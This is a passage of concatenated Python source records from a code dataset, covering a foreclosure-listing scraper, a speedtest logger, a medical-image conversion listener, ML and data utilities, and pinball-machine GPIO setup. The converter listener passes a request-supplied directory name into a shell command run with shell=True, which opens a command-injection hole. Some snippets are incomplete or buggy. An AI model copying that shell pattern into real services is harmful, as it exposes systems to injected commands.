1)[0]\n\ttruncStr = truncStr.split(',', 1)[0]\n\n\treturn truncStr\n\n## This function beforms the scraping and build the csv file\n###########################################################\ndef ScrapeForeHtml(state):\n\n\t# Build csv file foreclosure mailer\n\tfilename = './build/output.csv'\n\toutfile = open(filename, 'a+')\n\n\t# Read data from URLforeclosure\n\tURLforeclosure = 'http://stjohnsheriff.org/sheriff_sale.php'\n\tr = requests.get(URLforeclosure)\n\n\tsoup = BeautifulSoup(r.text, 'lxml')\n\n\t# print soup\n\ti = 0\n\n\tStrRecord = 'Status,Saledate,address,Homwowner,bank'\n\toutfile.write(StrRecord)\n\n\tfor table_row in soup.select(\".saleitems\"):\n\t\ttable_cells = table_row.findAll('td')\n\t\tif len(table_cells) > 0:\n\t\t\tline = str(table_cells)\n\t\t\tstrLine\t= line.split(\"\")\n\t\t\tstrLlst = strLine[1].split('')\n\t\t# Retrieve bank's name\n\t\t\tbank = strLlst[1].split('vs.',1)[0]\n\t\t\tbank = TruncBankStr(bank)\n\t\t# Retrieve homeowner's name\n\t\t\towner = strLlst[1].split('vs.',1)[1]\n\t\t\towner = TruncOwnerStr(owner)\n\t\t\t# Retrieve Address\n\t\t\taddress = strLine[6].split('', 1)[1]\n\t\t\taddress = address.split('
')\n\t\t\taddress = address[0].rstrip()\n\t\t\t# Retrieve Saledate\n\t\t\tsaledate = strLine[7].split('strong>')\n\t\t\tsaledate = saledate[1].split('<', 1)[0]\n\t\t\tsaledate = re.sub(r'\\W+', ' ', saledate)\n\t\t\tsaledate = \"'\" + saledate + \"'\"\n\t\t\t# Retrieve Satatus\n\t\t\tStatus = strLine[7].split('')\n\t\t\tStatus = Status[2].split('<', 1)[0]\n\n\t\t# Output to cvsth file to build mailer\n\t\t\tStrRecord = Status + ',' + saledate + ',' + address + ',' + owner + ',' + bank\n\t\t\tprint(i,':', StrRecord)\n\t\t\t# Add client record to file\n\t\t\toutfile.write(StrRecord)\n\n\t\t\ti = i + 1\n\n\treturn i\n\ndef main(argv):\n\n\tsum = 0\n\tstate \t = 'LA' # sys.argv[1]\n\n\tdirectory = './build'\n\tif not os.path.exists(directory):\n\t\tos.makedirs(directory)\n\n\tfilename = './build/output.csv'\n\t# Remove old build file\n\n\tprint('1 - StaintParish ')\n\tprint('Processing Staint Parish records... it will take a few minutes ')\n\n\tsum = ScrapeForeHtml(state)\n\n\tprint\n\t'The total number of records found in : ', sum\n\n\n# Initiate main program\nif __name__ == \"__main__\":\n main(sys.argv)\n\n","sub_path":"BuildFCL/Saint-parish/Solution/BuildParisURLList.py","file_name":"BuildParisURLList.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"158245594","text":"#!/usr/bin/env python3\n# Use this script to run speed test at user-defined intervals.\n# Class duration is usually 75 mins and testing interval is\n# typically every 15 minutes (can be changed through arguments).\n# Please note: Both class duration and interval are in *minutes*.\n\nimport os.path\nimport speedtest as speed_script\n\n\nimport csv\nimport json\nimport time\nfrom datetime import datetime\nfrom subprocess import PIPE, run\nfrom sys import argv, exit, executable\n\n\nsave_path = \"/data/user/0/com.example.ping/files/\"\nsave_csvfile = os.path.join(save_path, 'speedtest.csv')\n#save_csvfile = os.path.join(save_path, datetime.utcnow().strftime('%y_%m_%d_%H-%M-%S') + '_speedtest.csv')\n\n# CSV output headers\nheaders = ['timestamp', 'download', 'upload', 'ping', 'bytes_sent', 'bytes_received',\n 'server_url', 'server_lat', 'server_lon', 'server_name', 'server_country',\n 'server_sponsor', 'server_id', 'server_host', 'server_latency', 'client_ip',\n 'client_lat', 'client_lon', 'client_isp', 'client_isprating', 'client_country']\n\n\n# Speedtest function (requires 'speedtest.py' in the same directory)\ndef speedtest():\n res = speed_script.main()\n json_data = json.loads(res)\n return json_data\n\n\n# Parsing the JSON object to write to output\ndef json_parser(data):\n log_metrics = dict.fromkeys(headers)\n for key in log_metrics:\n if 'server' in key or 'client' in key:\n arg = key.split(\"_\")\n log_metrics[key] = data[arg[0]][arg[1]]\n else:\n log_metrics[key] = data[key]\n\n return list(log_metrics.values())\n\n\n# Append to output CSV\ndef write_csv(write_data):\n with open(save_csvfile, 'a') as outfile:\n writer = csv.writer(outfile)\n writer.writerow(write_data)\n\n\n# Minutes to seconds converter\ndef sleep_minutes(minutes):\n time.sleep(minutes * 60)\n\n\ndef main(class_duration, interval):\n # New bare file with headers\n with open(save_csvfile, 'w') as f:\n writer = csv.writer(f)\n writer.writerow(headers)\n f.close()\n\n iterations = (class_duration // interval) + 1\n for i in range(int(iterations)):\n json_data = speedtest()\n row_metrics = json_parser(json_data)\n write_csv(row_metrics)\n sleep_minutes(interval)","sub_path":"Ping/app/src/main/python/run_speedtest.py","file_name":"run_speedtest.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"162180180","text":"import subprocess as sb\nimport os\nimport time\nfrom common.utils import *\nfrom common import listener_server\nfrom common import utils\n\ndef convert(param_dict):\n print(\"### converter got parameters {}\".format(param_dict))\n\n rel_source_dir = param_dict[\"source_dir\"][0]\n # remove trailing / at the beggining of name\n # otherwise os.path.join has unwanted behaviour for base dirs\n # i.e. join(/app/data_share, /app/wrongpath) = /app/wrongpath\n rel_source_dir = rel_source_dir.lstrip('/')\n\n data_share = os.environ[\"DATA_SHARE_PATH\"]\n source_dir = os.path.join(data_share, rel_source_dir)\n\n unique_id = utils.get_unique_id()\n\n rel_output_dir = \"converter-output-\" + unique_id + \".nii.gz\"\n output_dir = os.path.join(data_share, rel_output_dir)\n\n conversion_command = \"python3 /app/convert.py {} && cp {}.nii.gz {}\".format(source_dir, source_dir, output_dir)\n exit_code = sb.call([conversion_command], shell=True)\n\n # if conversion_command wasn't successful\n if exit_code == 1:\n return {}, False\n\n result_dict = { \"filename\": rel_output_dir}\n return result_dict, True\n\n\nif __name__ == \"__main__\":\n\n setup_logging()\n log_info(\"Started listening\")\n\n served_requests = {\n \"/lungmask_convert_dcm_to_nifti\": convert\n }\n\n listener_server.start_listening(served_requests, multithreaded=True, mark_as_ready_callback=mark_yourself_ready)","sub_path":"listen.py","file_name":"listen.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"269820612","text":"import numpy as np\nimport pickle\n\n\nmax_data_length = 120\n# np.random.shuffle(x)\n\n\ndef get_data(filename):\n\n data = pickle.load(open(filename, 'rb'))\n\n # count\n last_index = 0\n num_length = []\n num_index = []\n\n for i in range(data.shape[0]):\n if data[i, -1] == 1.0:\n length = i - last_index + 1\n num_length.append(length)\n num_index.append(i)\n last_index = i + 1\n\n num_length = np.array(num_length)\n num_index = np.array(num_index)\n print(\"mean:\", num_length.mean(),\n \"variance:\", num_length.var(),\n \"max:\", num_length.max(),\n \"min:\", num_length.min(),\n \"length:\", num_length.shape[0])\n\n data_reshape = np.zeros((num_length.shape[0], max_data_length, 52))\n\n for i in range(num_length.shape[0]):\n data_reshape[i, 0:num_length[i], :] = data[num_index[i] - num_length[i] + 1:num_index[i] + 1, :]\n\n return data_reshape\n\n\ndata_1 = get_data(\"data/PP-1-paths-1000-[0]-end-flag-random-init.p\")\ndata_2 = get_data(\"data/PP-1-paths-1000-[2]-end-flag-random-init.p\")\n\nprint(data_1.shape)\nprint(data_2.shape)\n\ndata = np.concatenate((data_1, data_2), axis=0)\nprint(data.shape)\n\nnp.random.shuffle(data)\n\npickle.dump(data, open(\"data/PP-1-paths-2000-[0-2]-end-flag-random-init.p\", \"wb\"))\n\n\n","sub_path":"old_script/concate_and_shuffle.py","file_name":"concate_and_shuffle.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"403836587","text":"import os\nimport sys\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy\nimport scipy.io as sio\n\nfrom slice_plotter import Slice_Plotter\n\ncmap = plt.get_cmap('bone')\ncmap.set_bad('black')\nview_only = (input('Magnitude only? [Y/N] ') == 'Y')\nif view_only:\n check_fmap = (input('Check field map? [Y/N] ') == 'Y')\nif not view_only:\n recheck = (input('Check previous? [Y/N] ') == 'Y')\n\nfor fn in range(25):\n # Check if exists\n if not os.path.exists(f'maps/connectome_L1/P{fn + 1}_mag.npy'):\n mag = sio.loadmat(f'data/connectome_L1/P{fn + 1}_mag.mat')['mag']\n np.save(f'maps/connectome_L1/P{fn + 1}_mag.npy', mag)\n if not os.path.exists(f'maps/connectome_L1/P{fn + 1}_fmap.npy'):\n fmap = sio.loadmat(f'data/connectome_L1/P{fn + 1}_fmap.mat')['fmap']\n np.save(f'maps/connectome_L1/P{fn + 1}_fmap.npy', fmap)\n mag = np.load(f'maps/connectome_L1/P{fn + 1}_mag.npy')\n fmap = np.load(f'maps/connectome_L1/P{fn + 1}_fmap.npy')\n X, Y, Z = mag.shape\n mag_mask = np.where(mag > 0.25 * np.mean(mag), 1, np.nan)\n artery_mask = np.zeros((X, Y, Z))\n\n good = False\n mask_path = f'maps/connectome_L1/P{fn + 1}_target_mask.npy'\n\n if view_only:\n mag_fig, mag_ax = plt.subplots(1, 1)\n plotter_mag = Slice_Plotter(mag_ax, np.transpose((mag * mag_mask), axes=(1, 0, 2)), f'P{fn+1} Magnitude', cmap=cmap)\n mag_fig.canvas.mpl_connect('scroll_event', plotter_mag.onscroll)\n plt.show(block=True)\n plt.close()\n\n if check_fmap:\n mag_fig, mag_ax = plt.subplots(1, 1)\n plotter_mag = Slice_Plotter(mag_ax, np.transpose((fmap * mag_mask), axes=(1, 0, 2)), f'P{fn+1} Magnitude', cmap=cmap)\n mag_fig.canvas.mpl_connect('scroll_event', plotter_mag.onscroll)\n plt.show(block=True)\n plt.close()\n\n continue\n\n if os.path.exists(mask_path):\n if not recheck:\n continue\n\n print('Existing mask detected')\n print('Loading existed mask:')\n\n artery_mask = np.load(mask_path)\n z_min = np.min(np.argwhere(artery_mask == 1)[:, 2])\n z_max = np.max(np.argwhere(artery_mask == 1)[:, 2])\n z = z_min\n if z_max - z_min > 1:\n z += 1\n\n mag_fig, mag_ax = plt.subplots(1, 1)\n plotter_mag = Slice_Plotter(mag_ax, np.transpose((mag * artery_mask)[:, :, max(0, z-1):z+2], axes=(1, 0, 2)), f'P{fn+1} Target mask', cmap=cmap)\n mag_fig.canvas.mpl_connect('scroll_event', plotter_mag.onscroll)\n\n print('Confirm mask -- close when done')\n plt.show(block=True)\n plt.close()\n\n valid = False\n while not valid:\n confirm = input('Good? [Y/N/Quit]: ')\n valid = True\n if confirm == 'Y':\n good = True\n elif confirm == 'N':\n good = False\n elif confirm == 'Quit':\n print('Quitting...')\n quit()\n else:\n valid = False\n\n while not good:\n mag_fig, mag_ax = plt.subplots(1, 1)\n plotter_mag = Slice_Plotter(mag_ax, np.transpose((mag * mag_mask), axes=(1, 0, 2)), f'P{fn+1} Magnitude', cmap=cmap)\n mag_fig.canvas.mpl_connect('scroll_event', plotter_mag.onscroll)\n print(f'Locate arteries -- close when done')\n print('[Labeling plane]')\n print('[x_i, y_i] x4')\n plt.show(block=True)\n plt.close()\n\n z = int(input())\n arteries = []\n artery_mask = np.zeros((X, Y, Z))\n\n for artery_n in range(4):\n a = tuple([int(val) for val in input().split()])\n arteries.append(a)\n artery_mask[a[0]-3:a[0] + 4, a[1]-3:a[1]+4, max(0, z-1):z+2] = 1\n\n artery_mask[artery_mask == 0] = np.nan\n artery_mask = artery_mask * mag_mask\n \n mag_fig, mag_ax = plt.subplots(1, 1)\n plotter_mag = Slice_Plotter(mag_ax, np.transpose((mag * artery_mask)[:, :, max(0, z-1):z+2], axes=(1, 0, 2)), f'P{fn+1} Target mask', cmap=cmap)\n mag_fig.canvas.mpl_connect('scroll_event', plotter_mag.onscroll)\n\n print('Confirm mask -- close when done')\n plt.show(block=True)\n plt.close()\n\n valid = False\n while not valid:\n confirm = input('Good? [Y/N/Quit]: ')\n valid = True\n if confirm == 'Y':\n good = True\n elif confirm == 'N':\n good = False\n elif confirm == 'Quit':\n print('Quitting...')\n quit()\n else:\n valid = False\n \n if os.path.exists(mask_path):\n os.remove(mask_path)\n np.save(mask_path, artery_mask)\n\n\n \n\n \n","sub_path":"pick_masks.py","file_name":"pick_masks.py","file_ext":"py","file_size_in_byte":4700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"85471308","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 30 09:15:36 2018\nCode implementing simple K-means algorithm for a given set of points.\n@author: pi_phi\n\"\"\"\n\nimport numpy as np \nfrom collections import defaultdict\n \n#To find the squared distance of a point from a centroid.\ndef dist_sqr(C,x,m,K,n): #C is a kxn matrix of cluster centroids. x is a mxn matrix of data points.\n dist = np.ndarray((m,K))\n \n for i in range(0,m):\n for k in range(0,K):\n Sum = 0\n for j in range(0,n):\n Sum += (C[k,j] - x[i,j])**2 #Component wise calculation and addition.\n dist[i,k] = Sum\n \n return dist\n \n#Function to find the average position of a cluster based on the points that belong to a particular cluster at a time.\ndef move_centroid(c,p,K,n): #Here, c takes a dictionary that maps from cluster centroid index to a list of indices of the points that belong to that cluster.\n new_mu = np.ndarray((K,n))\n for k in range(K):\n for j in range(n):\n S = 0\n for i in c[k]:\n S += p[i,j]\n new_mu[k,j] = S / len(c[k])\n \n return new_mu\n\npoints = np.genfromtxt('points.txt')\nm, n = points.shape #m = no. of training examples. ; n = no. of features.\nK = int(input(\"Enter the number of clusters (K) required:\"))\n\niter_count = 0\nwhile (iter_count < 10):\n random_indices = np.random.randint(0,m,K) #Random initialization - selecting K data points from the training data set randomly.\n if (random_indices[0] != random_indices[1]): #if-else has been utilised to make sure no two centroids randomly chosen for a particular iteration are the same.\n mu = points[random_indices]\n else:\n random_indices = np.random.randint(0,m,K)\n mu = points[random_indices]\n \n G = 1\n while (G > 0):\n distance = dist_sqr(mu,points,m,K,n)\n centroid = list(np.argmin(distance, axis = 1))\n \n clusters = defaultdict(list)\n for p_ind,c_ind in enumerate(centroid):\n clusters[c_ind].append(p_ind)\n new_mu = move_centroid(clusters,points,K,n)\n \n conv_test = np.all((abs(new_mu - mu)) == 0) #Convergence test. Results in True when all difference between the new found and old centroids for a particular iteration is 0.\n if(not conv_test): #When the centroids are still changing during cyclic iterations in the inner while loop.\n mu = new_mu\n G += 1\n else: #When the centroids remain unchanged during cyclic iteration in the inner while loop.\n n_m = np.reshape(new_mu,(1,K,3))\n if iter_count == 0:\n centroid_matrix = n_m\n else:\n centroid_matrix = np.vstack((centroid_matrix,n_m))\n iter_count += 1\n break\n \nnp.savetxt('cluster.txt',centroid_matrix[(iter_count - 1)],fmt = '%.4f')\nprint(\"The centroids are:\\n\",centroid_matrix[(iter_count - 1)])\n\n ","sub_path":"K-means.py","file_name":"K-means.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"398092693","text":"string=raw_input()\nc=raw_input()\ninteger=input()\ni=0\nlength=len(string)\ncount=0\nwhile i<=length-integer:\n temp=0\n\n for j in string[i:i+integer]:\n\n if j ==c:\n temp+=1\n if temp>count:\n count=temp\n i+=1\n\nz=count+1\nstring=string[::-1]\n'''complete it'''\n","sub_path":"HackerEarth/vasu/1/Rhezo and character frequency.py","file_name":"Rhezo and character frequency.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"404275114","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('dwelling', '0002_auto_20150411_1753'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='dwelling',\n old_name='dwellingType',\n new_name='dwelling_type',\n ),\n ]\n","sub_path":"taleggio/dwelling/migrations/0003_auto_20150411_2331.py","file_name":"0003_auto_20150411_2331.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"141117084","text":"class Solution:\n def searchMatrix(self, matrix, target):\n \"\"\"\n :type matrix: List[List[int]]\n :type target: int\n :rtype: bool\n \"\"\"\n if not matrix or not matrix[0]:\n return False\n \n top = 0\n bottom = len(matrix) - 1\n \n starting_row = -1\n while top <= bottom:\n mid = top + (bottom-top)//2\n row = matrix[mid]\n if row[0] <= target <= row[len(row)-1]:\n starting_row = mid\n break\n elif target > row[len(row)-1]:\n top = mid+1\n else:\n bottom = mid-1\n \n if starting_row == -1:\n return False\n \n # search all rows below starting row until not in the row\n row_idx = starting_row\n while row_idx < len(matrix) and matrix[row_idx][0] <= target <= matrix[row_idx][len(matrix[0])-1]:\n if self.binary_search(matrix[row_idx], target):\n return True\n \n row_idx += 1\n \n row_idx = starting_row - 1\n while row_idx >= 0 and matrix[row_idx][0] <= target <= matrix[row_idx][len(matrix[0])-1]:\n if self.binary_search(matrix[row_idx], target):\n return True\n \n row_idx -= 1\n \n return False\n\n def binary_search(self, row, target):\n start = 0\n end = len(row) - 1\n while start <= end:\n mid = start + (end - start) // 2\n if row[mid] == target:\n return True\n elif row[mid] > target:\n end = mid-1\n else:\n start = mid+1\n \n return False\n\n# O(m*log(n)) time, O(1) space\n","sub_path":"non_optimal_solutions/searchMatrix.py","file_name":"searchMatrix.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"275786022","text":"import math\n\nimport torch\nimport torch.nn as nn\n\nclass MultiHeadedAttention(nn.Module):\n def __init__(self, head_count, model_dim, dropout=0.1, max_relative_positions=0):\n assert model_dim % head_count == 0\n\n self.dim_per_head = model_dim // head_count\n self.model_dim = model_dim\n\n super(MultiHeadedAttention, self).__init__()\n self.head_count = head_count\n \n self.linear_keys = nn.Linear(model_dim, head_count * self.dim_per_head)\n self.linear_values = nn.Linear(model_dim, head_count * self.dim_per_head)\n self.linear_query = nn.Linear(model_dim, head_count * self.dim_per_head)\n\n self.softmax = nn.Softmax(dim=-1)\n self.dropout = nn.Dropout(dropout)\n self.final_linear = nn.Linear(model_dim, model_dim)\n\n self.max_relative_positions = max_relative_positions\n\n if max_relative_positions > 0:\n vocab_size = max_relative_positions * 2 + 1\n self.relative_positions_embeddings = nn.Embedding(vocab_size, self.dim_per_head)\n\n def forward(self, key, value, query, mask=None, layer_cache=None, attn_type=None):\n batch_size = key.size(0) \n dim_per_head = self.dim_per_head\n head_count = self.head_count\n key_len = key.size(0)\n query_len = query.size(1)\n\n def shape(x):\n return x.view(batch_size, -1, head_count, dim_per_head).transpose(1, 2)\n\n def unshape(x):\n return x.transpose(1, 2).contiguous().view(batch_size, -1, head_count * dim_per_head)\n\n if layer_cache is not None:\n if attn_type == \"self\":\n query = self.linear_query(query)\n key = self.linear_keys(query)\n value = self.linear_values(query)\n\n key = shape(key)\n value = shape(value)\n if layer_cache[\"self_keys\"] is not None:\n key = torch.cat((layer_cache[\"self_keys\"], key), dim=2)\n if layer_cache[\"self_values\"] is not None:\n value = torch.cat((layer_cache[\"self_values\"], value), dim=2)\n\n layer_cache[\"self_keys\"] = key\n layer_cahce[\"self_values\"] = value\n elif attn_type == \"context\":\n query = self.linear_query(query)\n if layer_cache[\"memory_keys\"] is None:\n key = self.linear_keys(key)\n value = self.linear_values(value)\n key = shape(key)\n value = shape(value)\n else:\n key = layer_cache[\"memory_keys\"]\n value = layer_cache[\"memory_values\"]\n layer_cache[\"memory_keys\"] = key\n layer_cache[\"memory_values\"] = value\n else:\n key = self.linear_keys(key)\n value = self.linear_values(value)\n query = self.linear_query(query)\n key = shape(key)\n value = shape(value)\n\n if self.max_relative_positions > 0 and attn_type == \"self\":\n key_len = key.size(2)\n relative_positions_matrix = \\\n generate_relative_positions_matrix(key_len,\n self.max_relative_positions,\n cache=True if layer_cache is not None else False)\n relations_keys = \\\n self.relative_positions_embeddings(relative_positions_matrix.to(key.device))\n relations_values = \\\n self.relative_positions_embeddings(relative_positions_matrix.to(key.device))\n\n query = shape(query)\n\n key_len = key.size(2)\n query_len = query.size(2)\n\n query = query / math.sqrt(dim_per_head)\n query_key = torch.matmul(query, key.transpose(2, 3))\n\n if self.max_relative_positions > 0 and attn_type == \"self\":\n scores = query_key + relative_matmul(query, relations_keys, True)\n else:\n scores = query_key\n\n scores = scores.float()\n\n if mask is not None:\n mask = mask.unsqueeze(1)\n scores = scores.masked_fill(mask, -1e18)\n\n attn = self.softmax(scores).to(query.dtype)\n drop_attn = self.dropout(attn)\n\n context_original = torch.matmul(drop_attn, value)\n\n if self.max_relative_positions > 0 and attn_type == \"self\":\n context = unshape(context_original + relative_matmul(drop_attn, relations_values, False))\n else:\n context = unshape(context_original)\n\n output = self.final_linear(context)\n \n top_attn = attn.view(batch_size, head_count, query_len, key_len)[:, 0, :, :].contiguous()\n\n return output, top_attn\n\n def update_dropout(self, dropout):\n raise NotImplementedError\n\n\n\n","sub_path":"nslt/models/attentions/multi_headed_attention.py","file_name":"multi_headed_attention.py","file_ext":"py","file_size_in_byte":4795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"118824227","text":"import json\nimport matplotlib.pyplot as plt\nimport numpy\nfrom sklearn import tree\nfrom sklearn.tree import DecisionTreeClassifier\n\ndef read_json(path,data,target):\n with open(path) as f:\n content = json.load(f)\n for p in content:\n if p['MAL'] == True:\n target.append(1)\n else:\n target.append(0)\n arr = list()\n for item in p:\n if item != \"MD5\" and item != \"MAL\":\n arr.append(p[item])\n data.append(arr)\n\ndef train(train_data,train_target,test_data,test_target,visualize=False):\n\n\tclf = tree.DecisionTreeClassifier()\n\tclf.fit(numpy.array(train_data),numpy.array(train_target))\n\n\tif visualize == True:\n\t\tplt.figure()\n\t\ttree.plot_tree(clf)\n\t\tplt.savefig(\"result.png\")\n\n\tpredicted = clf.predict(test_data)\n\t\n\ttrue_positive = 0\n\ttrue_negative = 0\n\tfalse_positive = 0\n\tfalse_negative = 0\n\tfor i in range(len(test_data)):\n\t\tif predicted[i] == 1 and test_target[i] == 1:\n\t\t\ttrue_positive += 1\n\t\telif predicted[i] == 0 and test_target[i] == 0:\n\t\t\ttrue_negative += 1\n\t\telif predicted[i] == 1 and test_target[i] == 0:\n\t\t\tfalse_positive += 1\n\t\telse:\n\t\t\tfalse_negative += 1\n\treturn true_positive,true_negative,false_positive,false_negative\n\ndef learn():\n\ttrain_target = list()\n\ttest_target = list()\n\ttrain_data = list()\n\ttest_data = list()\n\n\tread_json(\"train.json\",train_data,train_target)\n\tread_json(\"test.json\",test_data,test_target)\n\n\tresult = train(train_data,train_target,test_data,test_target)\n\tprint(\"Accuracy %f\" % ((result[0] + result[1])/(result[0] + result[1] + result[2] + result[3])))\n\n\n\nif __name__=='__main__':\n\tlearn()\n","sub_path":"learn.py","file_name":"learn.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"121902927","text":"import json\n\ninfile = open('eq_data_1_day_m1.json','r')\noutfile = open('readable_eq_data.json', 'w')\n\n#the json.load() function converts the data into a \n#format python can work with: in this case a giant dictionary.\n\neq_data = json.load(infile)\n\n#the json.dump() function takes a json data object and a file object, and \njson.dump(eq_data, outfile, indent=4)\n\nlist_of_eqs = eq_data['features']\nmags, lons, lats,hover_texts = [],[],[],[]\nfor eq in list_of_eqs:\n mag = eq['properties']['mag']\n lon = eq['geometry']['coordinates'][0]\n lat = eq['geometry']['coordinates'][1]\n hover_text = eq['properties']['place']\n mags.append(mag)\n lons.append(lon)\n lats.append(lat)\n hover_texts.append(hover_text)\n\n\nprint(mags[:10])\nprint(lons[:10])\nprint(lats[:10])\n\nfrom plotly.graph_objs import Scattergeo, Layout\nfrom plotly import offline\n\ndata = [\n {\n 'type':'scattergeo',\n 'lon':lons,\n 'lat':lats,\n 'text': hover_texts,\n 'marker':{\n 'size': [5*mag for mag in mags],\n 'color': mags,\n 'colorscale': \"Viridis\",\n 'reversescale': True,\n 'colorbar':{'title': 'Magnitude'},\n }\n }\n]\n#trial to commit \n\nmy_layout = Layout(title = \"Global Earthquakers\")\n\nfig = {'data':data, 'layout':my_layout}\n\noffline.plot(fig, filename= 'global_earthquakes.html')\n","sub_path":"explore_json_2.py","file_name":"explore_json_2.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"394227078","text":"from kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.image import Image\nfrom kivy.clock import Clock\nfrom kivy.properties import NumericProperty, ReferenceListProperty, ObjectProperty\nfrom kivy.config import Config\nimport RPi.GPIO as GPIO\nfrom Hole import *\nfrom Kicker import *\nfrom Switch import *\nfrom Bumper import *\nfrom Scrubmode import *\nfrom Noobgate import *\nfrom time import sleep\nfrom MCP23017 import MCP23017\n#from ScoreChanger import *\n\nclass FlipperGame(Widget):\n\n GPIO.setmode(GPIO.BCM) # set up BCM GPIO numbering\n\n #MCP I2C adresses\n CHIPONE = 0x20\n CHIPTWO = 0x21\n CHIPTHREE = 0x22\n\n #relais are turned off at a high signal\n HIGH = 0\n LOW = 1\n\n\n #Switch creation\n print (\"Creating Switches\")\n lowerRightScoreSwitch = Switch(\"Lower Right Score Switch\", CHIPONE, 0)\n upperRightScoreSwitch = Switch(\"Upper Right Score Switch\", CHIPONE, 1)\n upperLeftScoreSwitch = Switch(\"Upper Left Score Switch\", CHIPONE, 2)\n upperLeftBallGate = Switch(\"Upper Left Ball Gate\", CHIPONE, 3)\n tiltSwitch = Switch(\"Tilt Switch\", CHIPONE, 4)\n hPointsSwitch = Switch(\"100 Points Switch\", CHIPONE, 11)\n upperRightBallGate = Switch(\"Upper Right Ball Gate\", CHIPONE, 12)\n middleLeftScoreSwitch = Switch(\"Middle Left Score Switch\", CHIPONE, 13)\n middleRightScoreSwitch = Switch(\"Middle Right Score Switch\", CHIPONE, 14)\n lowerLeftScoreSwitch = Switch(\"Lower Left Score Switch\", CHIPONE, 15)\n\n print (\"Chip One Done\")\n\n lowerRightBallGate = Switch(\"Lower Right Ball Gate\", CHIPTWO, 0)\n ballLaunchBallGate = Switch(\"Ball Launch Ball Gate\", CHIPTWO, 1)\n upperHoleSwitch = Switch(\"Upper Hole Ball Detection Switch\", CHIPTWO, 2)\n rightHoleSwitch = Switch(\"Right Hole Ball Detection Switch\", CHIPTWO, 3)\n lowerLeftBumperCoilEnabledSwitch = Switch(\"Lower Left Bumper Coil Enabled Switch\", CHIPTWO, 4)\n upperRightBumperCoilEnabledSwitch = Switch(\"Upper Right Bumper Coil Enabled Switch\", CHIPTWO, 5)\n lowerRightBumperCoilEnabledSwitch = Switch(\"Lower Right Bumper Coil Enabled Switch\", CHIPTWO, 6)\n upperLeftBumperCoilEnabledSwitch = Switch(\"Upper Left Bumper Coil Enabled Switch\", CHIPTWO, 7)\n upperLeftBumperBallDetectionSwitch = Switch(\"Upper Left Bumper Ball Detection Switch\", CHIPTWO, 8)\n lowerRightBumperBallDetectionSwitch = Switch(\"Lower Right Bumper Ball Detection Switch\", CHIPTWO, 9)\n upperRightBumperBallDetectionSwitch = Switch(\"Upper Right Bumper Ball Detection Switch\", CHIPTWO, 10)\n lowerLeftBumperBallDetectionSwitch = Switch(\"Lower Left Bumper Ball Detection Switch\", CHIPTWO, 11)\n leftHoleSwitch = Switch(\"Left Hole Ball Detection Switch\", CHIPTWO, 12)\n scrubModePositionDetectionSwitch = Switch(\"Scrub Mode Position Detection Switch\", CHIPTWO, 13)\n gameOverBallGate = Switch(\"Game Over Ball Gate\", CHIPTWO, 14)\n lowerLeftBallGate = Switch(\"Lower Left Ball Gate\", CHIPTWO, 15)\n\n print (\"Chip Two Done\")\n\n upperRightKickerBallDetectionSwitch = Switch(\"Upper Right Kicker Ball Detection Switch\", CHIPTHREE, 2)\n lowerRightKickerBallDetectionSwitch = Switch(\"Lower Right Kicker Ball Detection Switch\", CHIPTHREE, 3)\n rightKickerCoilEnabledSwitch = Switch(\"Right Kicker Coil Enabled Switch\", CHIPTHREE, 4)\n upperLeftTarget = Switch(\"Upper Left Target\", CHIPTHREE, 5)\n middleLeftTarget = Switch(\"Middle Left Target\", CHIPTHREE, 6)\n lowerLeftTarget = Switch(\"Lower Left Target\", CHIPTHREE, 7)\n lowerRightTarget = Switch(\"Lower Right Target\", CHIPTHREE, 8)\n middleRightTarget = Switch(\"Middle Right Target\", CHIPTHREE, 9)\n upperRightTarget = Switch(\"Upper Right Target\", CHIPTHREE, 10)\n leftKickerCoilEnabledSwitch = Switch(\"Left Kicker Coil Enabled Switch\", CHIPTHREE, 11)\n lowerLeftKickerBallDetectionSwitch = Switch(\"Lower Left Kicker Ball Detection Switch\", CHIPTHREE, 12)\n upperLeftKickerBallDetectionSwitch = Switch(\"Upper Left Kicker Ball Detection Switch\", CHIPTHREE, 13)\n startResetSwitch = Switch(\"Start Switch\", CHIPTHREE, 15)\n leftFlipperSwitch = Switch(\"Left Flipper Switch\", CHIPTHREE, 14)\n\n print (\"Chip Three Done\")\n\n #Coils Creation\n print (\"Creating Coils\" )\n \n #flippers\n GPIO.setup(6, GPIO.OUT,initial=LOW)\n \n #ball pusher\n GPIO.setup(24, GPIO.OUT,initial=LOW)\n \n middleHole = Hole(\"middleHole\",19,upperHoleSwitch)\n GPIO.setup(middleHole.coilPin, 